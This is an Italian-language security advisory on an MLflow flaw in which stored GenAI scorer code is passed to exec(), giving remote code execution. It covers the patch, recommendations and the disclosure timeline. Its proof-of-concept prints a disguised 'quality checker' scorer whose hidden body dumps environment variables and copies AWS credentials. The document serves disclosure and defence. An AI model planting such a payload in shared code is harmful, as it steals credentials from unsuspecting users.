Esecuzione di codice remoto tramite deserializzazione degli scorer GenAI in MLflow
Autore: Evan Harris
Rischio: Alto
Componente interessato: scorer GenAI di MLflow (mlflow/mlflow)
In sintesi
Il meccanismo di deserializzazione degli scorer GenAI di MLflow conteneva una vulnerabilità di esecuzione di codice remoto. L’utility recreate_function() in scorer_utils.py passava dati di scorer controllati dall’attaccante (memorizzati nel database di tracciamento di MLflow) direttamente a exec() di Python. Uno scorer malevolo registrato da un utente esegue codice arbitrario sulla macchina di chiunque lo recuperi ed esegua in seguito, rendendo possibile un attacco alla catena di fornitura contro un intero team di ML. Abbiamo segnalato il problema ai manutentori di MLflow, che lo hanno corretto limitando la registrazione e il caricamento degli scorer personalizzati agli ambienti controllati da Databricks. Gli utenti dovrebbero aggiornare a MLflow 3.5.2 o successivo.
Un problema distinto in MLflow, divulgato lo stesso giorno, è trattato in Esfiltrazione e distruzione di dati in MLflow per mancata validazione dell’Origin (DNS rebinding).
Contesto
Il modulo GenAI di MLflow consente ai team di definire gli scorer, funzioni Python che valutano la qualità degli output di un LLM (controlli di lunghezza, sicurezza dei contenuti, formattazione e così via). Gli scorer possono essere scritti con il decoratore @scorer, registrati rispetto a un esperimento e recuperati in seguito per nome con get_scorer(), così che i colleghi possano riutilizzare una valutazione condivisa.
Perché tutto ciò funzioni, MLflow serializza la funzione sottostante dello scorer e la memorizza nel database di tracciamento. Quando lo scorer viene recuperato, MLflow ricostruisce la funzione a partire da quei dati memorizzati. Il passaggio di ricostruzione è il punto in cui risiedeva la vulnerabilità: il codice sorgente serializzato veniva ricostituito chiamando exec() di Python, che esegue qualsiasi codice gli venga fornito. Poiché i dati memorizzati sono interamente controllati dall’attaccante, chiunque potesse registrare uno scorer poteva inserire codice che sarebbe stato eseguito all’interno del processo di un altro utente.
Panoramica
La vulnerabilità viene innescata lungo un’unica catena di chiamate di deserializzazione che termina in exec():
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
La catena di chiamate è:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
Scenario di attacco
- Un attaccante scrive uno scorer che sembra legittimo (un “controllore di qualità” con un docstring credibile) ma nasconde un payload malevolo nel corpo della funzione.
- L’attaccante distribuisce lo scorer tramite un canale di cui la vittima si fida: un pacchetto PyPI, un repository GitHub del team o un modulo Python condiviso.
- Una vittima importa lo scorer e lo registra in MLflow. La funzione serializzata viene scritta nel database di tracciamento.
- In seguito, forse su una macchina diversa, da un altro membro del team, giorni o settimane dopo, qualcuno recupera lo scorer con
get_scorer()e lo utilizza. - Durante la deserializzazione,
recreate_function()chiamaexec()sul codice sorgente memorizzato. Il payload nascosto viene eseguito con tutti i privilegi del processo della vittima.
Poiché l’innesco è disaccoppiato nel tempo e tra utenti diversi rispetto alla registrazione, l’attacco è silenzioso: un singolo scorer malevolo registrato una volta può compromettere chiunque nel team lo recuperi in seguito.
Proof of Concept
Lo scorer malevolo qui sotto si presenta come un controllore della qualità degli output. Il corpo contiene un payload che rilascia un file marcatore, esfiltra le variabili d’ambiente e raccoglie le credenziali AWS prima di restituire un risultato plausibile per evitare sospetti:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
La vittima recupera lo scorer condiviso come farebbe di norma:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
E poi lo utilizza:
result = scorer(outputs="This is test output to evaluate")
A questo punto scatta la RCE e il payload viene eseguito nel processo della vittima.
Impatto
A seconda del payload contenuto nei dati non attendibili dello scorer, un attaccante può:
- Eseguire codice Python arbitrario con tutti i privilegi del processo della vittima
- Esfiltrare dati sensibili come credenziali, variabili d’ambiente e codice sorgente
- Raccogliere credenziali da posizioni comuni (AWS, Docker, SSH)
- Stabilire la persistenza sulla macchina della vittima
- Eseguire movimenti laterali e ricognizione della rete
L’impatto è amplificato dalla natura di catena di fornitura della falla: un singolo scorer malevolo registrato da un solo membro del team può compromettere ogni utente che lo recupera in seguito, con l’innesco che avviene silenziosamente molto tempo dopo la registrazione.
Risposta di MLflow
Dopo che abbiamo divulgato il problema tramite il processo di divulgazione coordinata di MLflow, i manutentori lo hanno affrontato nella pull request #18493.
Anziché tentare di isolare in una sandbox o convalidare il codice sorgente deserializzato, i manutentori hanno rimosso la capacità pericolosa al di fuori degli ambienti controllati: la registrazione e il caricamento di scorer personalizzati basati su codice sono ora limitati agli ambienti di tracciamento Databricks, dove l’insieme di utenti che possono caricare scorer è controllato. Gli utenti su altri backend di tracciamento vengono indirizzati verso alternative più sicure, come gli scorer integrati e gli scorer basati su make_judge(), che non richiedono l’esecuzione di codice arbitrario durante la deserializzazione.
La correzione è stata rilasciata in MLflow 3.5.2.
Raccomandazioni
Per gli utenti finali
- Aggiornate a MLflow 3.5.2 o successivo.
- Registrate e recuperate scorer personalizzati solo da fonti di cui vi fidate pienamente.
- Trattate i dati di scorer in un database di tracciamento come codice non attendibile, non come dati inerti. Chiunque possa scrivere nel repository di tracciamento può eseguire codice su ogni consumatore.
- Preferite gli scorer integrati o gli scorer di
make_judge(), che non eseguono codice arbitrario durante la deserializzazione. - Limitate l’accesso in scrittura ai database di tracciamento condivisi ed esaminate gli scorer prima di riutilizzarli in un team.
Cronologia
| Data | Evento |
|---|---|
| 20 ottobre 2025 | Vulnerabilità segnalata ai manutentori di MLflow tramite divulgazione coordinata (issue #18404) |
| 24 ottobre 2025 | MLflow integra la correzione (PR #18493), rilasciata nella v3.5.2 |
| 8 gennaio 2026 | huntr ha contrassegnato il problema come duplicato |
| 8 giugno 2026 | Divulgazione pubblica |